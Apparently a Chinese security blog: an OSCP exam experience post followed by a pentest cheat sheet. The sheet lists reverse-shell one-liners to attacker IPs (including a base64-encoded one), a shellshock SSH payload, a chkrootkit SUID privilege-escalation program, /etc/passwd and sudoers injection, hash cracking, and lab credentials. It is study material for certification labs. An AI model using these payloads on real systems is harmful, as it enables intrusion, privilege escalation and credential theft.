OSCP on MentalityXt

2025 年初，我获得了 OSCP / OSCP+ 认证

Sat, 11 Jan 2025 12:20:00 +0800

开头不知道该说什么，但是既然能开始搜oscp经验总结，那肯定是对oscp有一定了解的，下面简单的放一些官方要求的网址，有兴趣的可以去看看。

oscp+介绍: https://help.offsec.com/hc/en-us/articles/29840452210580-Changes-to-the-OSCP

考试变更介绍: https://help.offsec.com/hc/en-us/articles/29865898402836-OSCP-Exam-Changes

oscp报告要求(看看就行一般都是用下面这个项目): https://help.offsec.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements

报告项目地址: https://github.com/noraj/OSCP-Exam-Report-Template-Markdown 我用的模板: OSCP-exam-report-template_OS_v2.md

考试指南(如果要考试这个百分之一百要看): https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide-Newly-Updated

上面就是官方要求了(需要注意的是考试指南可能会有更新必须去寻找最新版那里有全部要求) 这里放一下我的证书吧，我把我姓名和二维码打码了，暂时不想暴露姓名，仅显示OSID(自带的CDN不知道出了什么问题，图片走的是http协议，会强制重定向到https，修复好了之后不走https了，但是无法在源码中加载图片，主要是因为正常访问也访问不到图片，非常奇怪，PC端点击图片空白处就行，我放了一个超链接，手机端正常加载)

在我学习的路上，下面这个博客给了我很大的帮助，我对域环境并不是很擅长，下面这个博客总结了域渗透的很多技术，只需要挨个学习，比如第一条讲的是什么，就去搭建环境然后搜专门的教程复现，这个博客，它就像一个目录，并且携带着该漏洞的利用方法，对我帮助非常大。非常感谢0r@nge师傅。 https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/

讲一下我的学习路程吧，在22年的时候，当时我在实习，想考一个证书，找来找去貌似含金量都不是很高，一次偶然的机会我了解到OSCP这个证书，当时就以此为目标进行学习，不过打的大部分的都是vulnhub的靶场，而且是断断续续的。就这样断断续续的打vulnhub的靶场，从22年打到了23年，24年上半年也陆陆续续碰过几个，真正做出行动的是在24年国庆那段时间，当时hw已经结束了一个月了，我学习的做的大部分都是安服的工作，仅仅限于蓝队和渗透测试，红队没有到过省级，接触过很多人，大部分都是省级但是没到guo级(毕竟真有gh的水平也不会来蓝队了)，目前我大四应届，25年上半年可以找一个实习，所以我当时想了很久，决定把oscp考了，然后去找一个红队实习，去我感兴趣的岗位当中。

先总结一下我对vulnhub，hackthebox以及oscp的Challenge Labs的看法。主要都是TJ NULL里面推荐的靶场下面这个链接 https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit?gid=530535513#gid=530535513

vulnhub非常偏向ctf，甚至我感觉他就是ctf的靶场，他会把信息藏到源码里面，页面不是正常的页面，而是类似于解密那种纯ctf的样子，有一些敲门的技术在htb和oscp中完全没有体现，而我记得这类的技术在vulnhub上经常出现，如果不愿意花钱还想打一下靶场，这个我非常推荐，虽然它特别偏向ctf而且只有linux的靶场，但是它可以帮助你学习到很多linux的服务和命令还有常规渗透，比如udpftp，nfs，smb等等都有体现，优点就是能巩固自身的基础、了解到linux方面渗透的各种服务、免费，缺点就是太偏向ctf了，需要自行下载搭建，只有linux。(我甚至买了一个1t的移动硬盘就为了下载vulnhub的靶场)

hackthebox有很少的ctf元素，比如这个作者需要针对某一个漏洞来做靶场的时候，肯定会想一条攻击链，必须保证逻辑通顺，有一个地方会需要账号密码等信息，这时候可能就会体现ctf的元素，目的就是让你获取到这个关键信息才能进行下一步，当然我说的这种情况是极少数。htb非常不错，它里面大部分靶场主要是针对某一个漏洞，某一条利用链来做的，目的就是为了让你学会这种方法，看起来是有点像复现了，但是在复现的路上层层相扣，每一步逻辑都相通，设计的非常巧妙，有时候可能会涉及到一些底层逻辑，看了wp了解到之后才感叹做的非常有意思。优点就是非常巧妙，以学习的目的来做会有很大的收获，能很好的巩固一些服务的底层逻辑，缺点就是要付费，而且很多人也在说难度比oscp大，也有人说作为oscp的补充比较好，我比较认同补充。

PG我没有打过，但还是说一下我的看法吧，我在考试之前专门在TJ NULL里面找到了PG的域的WP，看了一遍，他相比htb来说，比htb更巧妙，这也是oscp一贯的概念—try hander，上面我也说了htb主要是针对某一个漏洞某一条利用链，而我看的PG域更多的是底层逻辑之间的环环相扣外加一小部分漏洞复现，理解都能理解，但是它需要更多的扩展性思维，这和htb的概念完全不同，htb需要钻牛角尖，而PG更多的是发散思维—如果确定了这里没有漏洞，那就赶紧去其他地方找吧。

OSCP的Challenge Labs，它更像一种真实的渗透环境，没有特定的漏洞，有的只是一部分机器的集合，每一个挑战都会告诉你，这是一个公司请我们给他做渗透测试，而你要面对的是一个公司的全部服务器，就是为了模拟真实的环境，不过总体都还好，不算很难，比较难的是skylark，很多人都选择跳过，而我是按照顺序打下去的，Challenge Labs没有wp，只有discord里的同学还有老师会给你一部分提示，虽然前几个比如Medtech、Relia实际上并不难，但从htb转过来的时候我还是困扰了非常久，因为正如我上面所说htb的思维和pg的思维完全不一样，Challenge Labs也和htb的思维也完全不一样，Medtech和Relia我更多的是转变自己的想法，不要局限，而我选择打完skylark是因为能更好的适应这种思想—把它当作真实环境来看待，总之在同学和老师的帮助下，完成了大部分靶场。

最后两个不在考试范围内，主要是为想要备考OSCE³而准备的靶场，可以试试。

上面就是我的学习路程，大部分打的都是linux，而OSCP更侧重于windows，我建议把重心放到windows上，从报名OSCP到拿到证书刚刚好一个月，准确的来说是31天，12月11日报名，花了21天左右(在1月1日)完成了7个Challenge Lab，报名了1月8日中午12点的考试，1月10日凌晨3点提交了报告，1月11日下午拿到证书，在1.1-1.8这六天当中，我大部分时间都是在玩，游戏只有在有事情的时候玩起来才有感觉:)，当然也不全都是在玩游戏放松，期间我重温了除了skylark以外的所有lab，全都复现了一遍，然后专门去找域方面的靶场的WP，因为正常思路谁都会，需要学习一些不一样的域渗透思路(可惜没有用到)。

简单聊一下考试中遇到的一些东西吧，这个确实很有意思。结束之后我实际上只有70分，目前没有加分了，域环境入口+3台独立主机共70分，勉强通过了考试。域控部分跟OSCP A-C不一样了，这个需要注意。如果你现在完成了OSCP A-C看完我后面说的话，你应该能明白我的意思，正常来说域环境入口是非常难的，不过第一台域入口拿到了之后，第二台域内主机会非常简单，第二台域内主机甚至都不需要提权，就能直接拿下域控，路程就是域入口—》域内主机普通权限—》域控，难点集中在域入口了，而现在的新版考试，他往后推了，域入口非常非常非常非常非常简单，你可以理解为送你10分，给你一个域入口让你进去，然后那台域内主机变得非常难，也会给你一个普通权限账号，你要做的仅仅是提权，我能感觉到，如果提了上去域控也不是很难。问题就在提权这里，这里我必须要另起一行说说了。

在做OSCP A-C的时候，正常直接扫描没有任何问题，但是在域环境中一旦利用ligolo-ng搭建隧道(chisel比这个更拉跨)扫描内网，会出现一堆错误。

非常绝望，只要一nmap扫描，立马报错，我给offsec写了很多封邮件了，他也在配合，但是就是解决不了，结果就是nmap扫描结果完全不准确，导致判断错误，我甚至都把nmap装到了那台域入口上，依然扫不出，我只能凭感觉去找，因为域内正常端口都知道是多少，问题就在如果他是非常规端口，那直接就玩完了。除此之外，隧道容易崩溃(这个是我最难受的)，ligolo-ng在Medtech、Relia上我没发现什么问题，可能是因为我在做OSCP A-C的时候换网了，这个是没办法的事情，换不回去，而且换的新网速度非常快60MB/S，但依然有问题。这时候可能就要说用chisel这个了(frp、ew、lcx不起作用不用试了)，巧就巧在这里，ligolo-ng是一股脑的发送然后报错，而chisel是根据速率多少，按照上限发的。就比如一根水管，ligolo-ng一盆水给你泼上去，能流进水管多少是多少，流不进去它也不管了，chisel是以最大的可能慢慢给你把水倒进去，不要漏了，chisel在我nmap扫描的时候需要5-6个小时才能完成扫描，其实这个时候我已经发现了，虽然我用的是网线，速度60MB/s，并且非常稳定，延迟非常低的，但是就是有问题，这种就是玄学，如果出现了和我一样的问题，赶紧去换网络吧。

说回正题，主要讨论一下我没有拿下的域环境，其中有很大一部分原因是上面的网络环境问题，我赌错了，我没有想到考试的VPN和正常环境相差无几，域入口进去之后是会给下一台域内主机的一些信息的，靠这个能进入那台域内主机，我遇到了jxxxxs服务，我感觉和这个师傅的经历很像 https://blog.restkhz.com/post/before-oscp-exam 感兴趣的可以去看看这个博客，正是因为这个博客我重温了关于jxxxxs方面的漏洞，几乎我可以说我了解到了漏洞利用层面和常规思路的部分(感兴趣的可以去打一下htb的Object这个box)，那台域内主机上没有任何提权方法，只开了这个服务在本地，而我的思路有两条，第一条是jxxxxs-cli.jar，很可惜他没有开启匿名，而且我知道版本，这个版本乍一看是存在任意文件读取的，只要能进入后台，那百分百能getshell，shell后面大概率就是我想要的权限了，虽然看起来版本比漏洞版本低，但是实际上将两个版本号放入google(一个存在漏洞的版本，一个靶机上存在版本)，我才发现，存在漏洞的版本在24年1月官方已经发公告了，而目前靶机上的版本是24年5月发布的，他并不存在漏洞！而我却忙活了半天没有任何收获，接下来就是第二条思路了，找到任意一个账号密码，只要能进入后台，那百分百能getshell，毋庸置疑的。我尝试了很久都没有找到密码，jxxxxs的目录不允许被进入，也没有其他信息，我确定我尝试了大部分的方法。之前也提到了，这个服务开在本地，我需要通过ligolo-ng来访问这台域成员主机，再通过chisel将这台域成员主机的这个端口转发到域入口上，才得以访问，还是上面提到的隧道非常不稳定，隧道一直崩溃，一个小时里面能崩溃3次，解决办法就是重启靶机，重新上传ligolo-ng和chisel搭建隧道，非常痛苦。拿到域入口只用了30分钟不到，而后续我花了9个多小时来提权，我确定我仅仅差一个账号密码，我没有找到，而隧道的崩溃消耗了我所有的精力。

事后我思考了一下，我没有尝试去爆破这个应用的目录(太卡了完全无法爆破)，有些凭证可能藏在一些文件里，在快结束的时候我发现其实有一个Jxxxx_history是可以访问的，但是没有访问其他用户目录的权限，读取当前用户的history也没有其他信息，可能就是告诉要dir /S全部目录来找这个history把，当时离考试结束还有5个小时，我已经连续努力了19个小时，没有精力了。

幸好除了搭建隧道外的所有网络连接不会出现这种情况，我比较擅长linux，但是这次抽靶场，抽到了2台windows，1台linux，这台linux我花了两个小时就拿到了root，而那两台windows拿到初始shell也非常简单，难点在于它是非常规提权，还好，最后解决了。这也是我为什么在靶场那一块的时候推荐多打windows少打linux，我做了太多的linux方面的靶场，windows较少，而考试重点侧重于windows。

这就是我的全部考试经历了，我很遗憾我没有拿下域控，但结果是好的就可以了，我当时考完驾照的时候看到过这样一句话，要求是90分及格，只要你及格了，就不要在意分数了，结束了就算你说你当时考了101分都行，已经通过了，你获得了这个资格，不要再可惜遗憾了。我想的也是，不能一直懊悔之前的失误，我已经获得了上路的资格，后续的提升，得看我车开的怎么样了，人总是要往前看的。

考试那天晚上距离考试结束还有13个小时的时候我已经非常累了，当时我只拿到了30分，域入口和两台windows独立主机的初始shell。我想休息一会，躺来躺去一直在思考，完全睡不着，大概躺了一个小时，我只觉得非常漫长，我思考了从我开始努力，到我年前了还没有回家准备考证的这一条路上是否值得，说实话我甚至都想过放弃，前11个小时大部分时间都在域环境中，隧道一直崩溃，它消耗了我所有精力，我甚至想和考官沟通，告诉他:你看这隧道完全搭建不起来，我完全不能进行下一步！甚至都有点觉得自己倒霉，遇到了一个较难的域控，当时窗外还下着雪，我没有出去吃饭，而是之前买的面包我对付了几口，思考到最后我发现我根本睡不着。在准备继续考试之前之前我思考了我该干什么，首先在域环境中尝试一些可能，最多花1个小时，不行就放弃，如果可以的话，拿下域控我总共就有60分了，再拿下linux直接够了。如果域控一直无法继续，直接尝试去打那台linux靶机，然后去尝试那两台windows主机的非常规提权直到结束考试。很幸运，我的想法是对的，域环境无法前进一步，我尝试了linux初始shell的枚举加非常规提权和常规提权，两台windows的非常规提权，我把这三台独立主机全部拿下了。当时已经是凌晨3点了，我非常兴奋，我达到了及格要求，同时我也非常累了，即使如此我还是花了3个多小时，复现了所有步骤并保存，这是对的，因为在我一觉醒来电脑蓝屏重启了，但凡我没有保留，而是等写报告的时候去kali里面找，我都无法完成报告，非常炸裂，蓝屏这个问题出现了很久了貌似是显卡驱动的问题，而且在我尝试域环境的时候kali自动重启过一次，这里也能提个醒，提前学习报告如何编写，然后达到及格要求的时候记得给kali弄个快照。

最后再谈一下oscp的官方课程吧，知道没有加分的时候，我就全部过了一遍，看了所有的文本，有一些收获，但不多，主要是针对基础部分，可以看看。

另外，我想谈一下oscp的含金量，考试之前看了raddit的r/oscp模块有很多人在讨论，有人说oscp会固定卡死一些人不让通过考试以保证含金量，非常难，部分考过的人运气可能有点好; 也有人说很多雇主会优先看是否持有oscp，持有oscp的人会优先被录用，但是他也见过很多厉害的人没有oscp的，这样不是很公平，他觉得这是一种营销手段; 还有一部分人提到他目前没有打算参加考试，他在课程中学到了很多东西; 另外一部分人也提到了他们考了2-4次才通过。在这里我想说的是，oscp证明了能力的下限，就是你通过了oscp考试，再差再差，也不会低于oscp的标准，也就是你能独立的完成渗透测试，能完成报告，而且是在有限的时间当中，能够合理的分配时间来完成目标，它提升了你的下限，当你去给别人做渗透测试的时候，人家根本不知道你有什么能力，你只能给他讲我做过多少次渗透测试，挖过多少CVE，从业几年了，但是当你说你有OSCP的时候，他就已经知道了，你再差再差也能完成渗透测试，至于上限，可能就得看个人了。这也就是我理解的oscp高含金量的原因。

OSCP Exploit 综合笔记

Sat, 04 Jan 2025 12:50:00 +0800

1.cewl

详细教程：【工具使用】— cewl_通地塔的博客-CSDN博客

引用其他师傅的博客

我的话只记录两条常用的

cewl http://192.168.15.146/ -w dict.txt #进行爬取该页面内容生成在当前文件夹生成字典

cewl http://192.168.15.146/ -n -e #爬取邮箱

2.netdiscover

网络扫描工具（kali-路由分析）

能够迅速的探测存活主机，如果单用nmap或者masscan扫全段，会很慢，这个探测出来之后在详细扫描会快一些。

netdiscover -i eth0 -r 192.168.1.0/24

3.gobuster

相比于dirb和御剑我觉得好一点的工具，dirb很强，但是太慢了，字典太大还会卡

我用的珍藏版御剑只能指定一些爆破目录，虽然可以自己修改他的原生字典，但是无法将后缀为.php/.html等等加在后面，也就是说字典什么样他就只能爆破什么样

gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u http://doctors.htb/

4.foremost

Kali Linux提供一款还原专用工具Foremost。该工具通过分析不同类型文件的头、尾和内部数据结构，同镜像文件的数据进行比对，以还原文件。

foremost strcpy.exe

5.sudo

sudo -l ：提权方面先sudo -l 可以看到可以使用哪些用户的命令然后对应执行

sudo -s ：可以输入密码尝试临时获得高权限root账户

6.SUID提权

查找一些可以sudo的命令在linux提权查找对应命令进行提权

find / -perm -u=s -type f 2>/dev/null

find / -group pinky 2>/dev/null #看一下当前某个工作组的可以执行文件也可以找些东西

find / -user root -writable -type f -not -path “/proc/*” 2>/dev/null #查找长度权限为root但是可写的普通文件并且不查找 /proc文件夹下的内容并将错误信息不输出

find / -user root -writable -type d -not -path “/proc/*” 2>/dev/null #查找可写文件夹

find / -type f -perm 777 2>/dev/null

7.showmount

使用 showmount 来“显示 NFS 服务器的安装信息” 详情可以help

showmount -e 192.168.1.9

8.enum4linux

用于枚举windows和Linux系统上的SMB服务的工具详情可以help

enum4linux 192.168.1.9

enum4linux -a -o 192.168.1.9

9.mount

和 showmount 一起使用将目标的远程目录挂载到本地

1

showmount -e 10.10.10.180

mkdir ./nfsshare

mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare

nfs共享时如果提示权限不足解决方法一般都是上到目标主机看一下当前目录有该权限的账户的id值然后再本机创建该类型的用户如下：无法访问已安装的共享，可能是因为设置了 root_squash 标志。我们可以放心地假设，如果我们有一个名为 vulnix 且具有相同 UID 的用户，我们就能够访问它。

创建用户:

useradd -u “id” “username”

useradd -u 2008 vulnix

挂载: (上面有问题就用这个) mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock

10.smbmap

快速扫描和检查 SMB（Server Message Block）共享的命令行工具

smbmap -H <目标IP/主机名> -u <用户名> -p <密码>

smbmap -H 192.168.1.9

smbmap -H 192.168.1.9 -r anonymous

1

smbmap -H 10.10.10.193 -u tlavel -p 'TfWScpg3aEEi' -r -q

11.smbclient

用于存取共享目标的客户端程序 –help可以查看详细命令

smbclient //192.168.1.9/secured -U divid

smbclient -N -L //10.10.10.134/

smbclient -N //10.10.10.134/Backups

1

smbclient -L //10.10.132.140 -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" --pw-nt-hash

1
2
3


recurse	ON			#开启递归，开启后会以目录递归方式运行mget和mput命令
prompt OFF			#关闭交互，开启后，下载文件时不再要求输入y/n确认
mget *				#批量获取文件，*是一个调配符，递归遍历时，任何文件名符合通配符的文件都会下载下来，*可以匹配所有

get xxxxx ；下载某个文件 put xxxxx ；上传某个文件 mget * ；下载当前目录下所有文件 tar c test.tar notes/ ；打包notes目录下所有文件

12.steghide

隐写工具 –help 可以查看需要的详细命令

steghide info plainsight.jpg

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

13.ffuf

模糊测试工具详情可以help或者找博客

ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt

ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “Host: FUZZ.sneakycorp.htb” –hh 185

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “HOST: FUZZ.sneakycorp.htb” -fs 185

14.修改文件提权

如果有sudo可以执行的root的文件，改成下面的格式可以直接提权

#!/bin/bash bash -ip

15.knock

敲门收集了两种方法

类似于下图为敲门的配置

knock 192.168.1.5 33 44 55

nmap -Pn –host-timeout 201 –max-retries 0 -p 159 192.168.1.5

16.id_rsa 私钥爆破

今天打靶场遇到了这种情况，就去学习了

cd /usr/share/john 使用这个目录下的ssh2john.py文件进行转化格式 ./ssh2john.py ~/id_rsa > ~/hash 将id_rsa转化为john可以识别的内容开始爆破 john hash –wordlist=/usr/share/wordlists/rockyou.txt

john –format=md5crypt –wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd #hash密码爆破指定md5 也就是1类型

john –format=NT –wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

1
2
3
4
5
6
7


hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

hashcat -m 1000 hashes.txt --show

# 查找对应的hash格式
hashcat --help | grep -i "Kerberos"

17.newgrp

newgrp命令是Linux系统中的一个用于切换用户组的命令。通过newgrp命令，用户可以暂时地切换到另一个用户组，以便在该用户组下执行命令或访问特定的文件

newgrp

18.文件上传构造环境

用于构造文件上传的环境，不用自己构建数据包，找到接口上传即可

1
2
3
4
5
6
7
8


<html>
<body>
<form method="post" action="http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>

1

curl http://192.168.225.249:33414/file-upload -F "file=@/home/kali/hackthebox/ft.txt" -v -X POST -H "Content-Type: multipart/form-data" -F filename="/tmp/authorized_keys"

19.chkrootkit（非常规提权）

详情：Chkrootkit 0.49本地提权漏洞利用与防范研究 - 知乎

找到 chkrootkit 目录，目录里面一般有README 看看版本

一般在 /etc/chkrootkit

或者用该命令更好

./chkrootkit -V 如果为0.49 即可按照上面的方法提权

具体流程如下

保存文件为 updata.c 下载到目标机器的 /tmp 文件夹下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


#include <unistd.h>

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

gcc -o update update.c #进行编译

编译完成进入 chkrootkit 目录运行一下 chkrootkit ./chkrootkit

会发现 /tmp/update 变为了root的权限

回到 tmp 文件夹执行 ./updata 即可获得root权限

20.查看系统版本及内核

uname -r

cat /etc/*-release

lsb_release -a

21.脏牛Linux本地提权漏洞(CVE-2016-5195)

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

影响版本如下：

Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1

22.Apport（Ubuntu 14.04/14.10/15.04）- 竞态条件提权漏洞

Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit

没有想到过可以运行这个提权，因为这种类型的exp对我来说不是常见，也就认为不是很好用，但事实是他可以执行，所以就先记录一下。

23.hexchat(IRC)

ngIRCd的默认密码是’ wealllikedebian '

24.smtp-user-enum

smtp用户枚举详细使用教程可以看help

smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10

25.shellshock

打靶场时遇到连接成功直接断开的问题，搜了很久没有找到能够在 “ssh连接时执行命令” 的漏洞教程，唯一一个教的是在连接时后面加上 “ls -al” 可以执行命令但是没有用后面看wp找到的该漏洞

bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange

‘() { :;}; command’ #在连接时后面加上这个即可 command 为要执行的命令

ssh -i noob noob@192.168.1.5 -o PubkeyAcceptedKeyTypes=ssh-rsa “() { :;}; bash -c ’exec bash -i >& /dev/tcp/192.168.1.8/1111 <&1’”

26.apache2.conf 提权

原理就是将apache2.conf 里加上某个用户和组重启apache之后配置文件会写入进去提前在/var/www/html 目录里放上webshell 这样重启完成在点击webshell可以反弹出来添加进去的用户的权限

默认不让root启动所以提权其他用户前提是要有重启apache以及修改apache2.conf 的权限

#User ${APACHE_RUN_USER} #Group ${APACHE_RUN_GROUP}

User test

Group test

/etc/apache2/sites-enabled 这个目录存在配置文件

27.netstat -tuln

查看端口占用情况这个命令很简单没啥难度可言但还是记录一下把

netstat -tuln

netstat -ano

28.dig

爆破子域 dig后面跟着域名 @后面跟上dns服务器即可

dig hackers.blackhat.local @192.168.2.177

dig @10.10.10.123 friendzoneportal.red AXFR

dnsenum fabricorp.local –dnsserver 10.10.10.193

这个命令会返回整个 DNS 区域的记录，包括所有的 A、AAAA、CNAME、MX 等记录，以及子域名的信息。

1

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

29.python Capabilities cap_sys_ptrace+ep提权

命令： getcap -r / 2>/dev/null |grep python

回显： /usr/bin/python2.7 = cap_sys_ptrace+ep

脚本地址： https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py

教程地址： https://www.cnblogs.com/zlgxzswjy/p/15185591.html

30. /etc/passwd 提权

当 /etc/passwd 可以写入时，可以加入一条用户，su切换即可

生成加盐密码 Password为修改的密码 salt为修改的盐

perl -le ‘print crypt(“Password”,“salt”)’

写入 /etc/passwd su切换即可

echo “hack:ad7t5uIalqMws:0:0::/root:/bin/bash” » /etc/passwd

31.计划任务提权

cat /etc/crontab

查看计划任务找到关键点

1

# */5 * * * * root cd /var/www/html/ && sudo ./finally.sh

第1列：分钟（0-59）
第2列：小时（0-23）
第3列：一个月中的第几天（1-31）
第4列：月份（1-12）
第5列：一周中的第几天（0-7，其中0和7都代表星期日）
第6列：要执行命令的用户
第7列：要执行的命令

表示每5分钟时，以root用户身份进入/var/www/html/目录，并以sudo权限运行finally.sh脚本

计划任务某个执行文件具有root权限，而普通用户可以更改该执行文件时

chmod u+s /bin/bash

chmod u+s /bin/bash

/bin/bash -p # 即可提权到 root 用户组

或者

cp /bin/bash /var/www/html/suidbash chmod u+s /var/www/html/suidbash

suidbash -p #即可提权到 root 用户组

sudo -l

echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers 将当前账户的 sudo 执行权限写入 sudoers 文件里，在给可执行文件加上 u+s 权限最后sudo 执行该文件即可提权如下：

chmod u+s finally.sh echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers

sudo -l

Matching Defaults entries for www-data on sar: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on sar: (ALL) NOPASSWD: /var/www/html/finally.sh

echo ‘su root’ » finally.sh sudo /var/www/html/finally.sh

32.Bypass命令注入限制

Bypass一些命令注入限制的姿势 - 先知社区

echo “YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=” | base64 -d | bash

echo 解码执行

33.uncompyle6 pyc逆向

逆向pyc只用如下 uncompyle6 1.pyc > 1.py

在线pyc,pyo,python,py文件反编译，目前支持python1.5到3.6版本的反编译-在线工具

34.反弹shell

bash -c ’exec bash -i >& /dev/tcp/192.168.2.75/9999 <&1’

python -c ‘import pty; pty.spawn("/bin/bash")’

nc -e /bin/bash 192.168.31.17 7777

35.john

echo ‘$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41’ »/tmp/1 john /tmp/1 –wordlist=/usr/share/wordlists/rockyou.txt

zip: zip2john passwd.zip > passwd.hash

john passwd.hash john passwd.hash –wordlist=/usr/share/wordlists/rockyou.txt

john –pot=new.pot hash.txt –wordlist=/usr/share/wordlists/rockyou.txt

36.进程发现 pspy

Release No more waiting on drain · DominicBreuker/pspy · GitHub

上传运行即可查看进程情况后续进行提权

37.字典

目录爆破字典

/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

1
2
3
4
5
6
7


https://www.cnblogs.com/shenlinken/p/10176682.html 可以对字典进行操控 去重倒序都可以
sort -u duweixin.net.txt		#去重
sort -r duweixin.net.txt		#倒序

# 这个非常强大
feroxbuster --url http://
https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g

38.smtp

常见命令

命令行作用

helo smtp 和服务器打招呼，测试登陆进去没

auth login 登陆具体邮箱,用户名和密码是经过base64加密的

mail from 输入邮件的发送方

rcpt to 输入邮件的接收方

data 开始编写邮件

quit 退出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


# 与服务器打招呼
HELO mail.relia.com

# 开始登录
AUTH LOGIN
# 输入 base64 编码的用户名 (maildmz@relia.com)
bWFpbGRtekByZWxpYS5jb20=
# 输入 base64 编码的密码 (DPuBT9tGCBrTbR)
RFB1QlQ5dEdjQnJUYlI=

MAIL FROM:<maildmz@relia.com>
RCPT TO:<接收方邮箱>
DATA
Subject: 测试邮件
这是邮件内容

. # 单独一行的点表示邮件内容结束

swaks --to jim@relia.com \
 --from maildmz@relia.com \
 --server 192.168.183.189 \
 --auth LOGIN \
 --auth-user maildmz@relia.com \
 --auth-password DPuBT9tGCBrTbR \
 --header "Subject: Test Email Subject" \
 --body "This is the email body content.\nMultiple lines can be included.\n" \
 --attach file.txt \
 --attach-type "text/plain" \
 --attach-name "custom_filename.txt"

# 附件记得加@
swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body "This is the email body content.\nMultiple lines can be included.\n" --header "Subject: Urgent Configuration Setup" --suppress-data

下面记录一个严重的问题就是携带附件的时候携带不了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


# 创建邮件格式
cat > email.txt << 'EOL'
From: maildmz@relia.com
To: jim@relia.com
Subject: Urgent Configuration Setup
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=boundary

--boundary
Content-Type: text/plain

This is the email body content.

--boundary
Content-Type: application/ms-library
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="configuration.Library-ms"

EOL

# 发的文件需要base64编码 放在下面
base64 configuration.Library-ms >> email.txt

# 结尾
echo "
--boundary--" >> email.txt

至此 请求包
swaks -to jim@relia.com \
 --from maildmz@relia.com \
 --auth LOGIN \
 --auth-user maildmz@relia.com \
 --auth-password DPuBT9tGCBrTbR \
 --server 192.168.183.189 \
 --data "$(cat email.txt)"

常见的反馈代码

代码含义

220 smtp已处于在线状态，可以进行相关操作

221 关闭smtp服务

250 当前操作已经正确完成

334 等待输入，在登陆用户是出现

235 验证成功

535 验证失败

39.pop3

pop3协议

pop3默认端口为110。pop3协议有两个阶段：

认证阶段

用户端输入用户名、密码进行认证，服务器端返回OK或者ERR

事务阶段

可以对邮件基本操作。

常用命令

命令作用

user 输入用户名

pass 输入密码

list 列出消息数量，并且自动编号

retr 根据消息编号检索消息

dele 删除消息

quit 退出

40.nmap

nmap -p- –min-rate 10000 10.10.10.51

–script vuln

find /usr/share/nmap/scripts -name ‘wordpress’

nmap -T4 -Pn -sC –script http-wordpress-enum –script-args http-wordpress-enum.root="/webservices/wp/",http-wordpress-enum.search-limit=“all”,http-wordpress-enum.check-latest=“true” -p80 tartarsauce.htb

nmap -p- –min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

https://nosec.org/home/detail/2844.html #收集插件

1
2
3
4


# 探测存活
nmap -sn 172.16.131.0/24
# 初步扫描探测
nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24

41.masscan

masscan -p 1-65535 10.10.10.58 –rate=100

42.nc

1
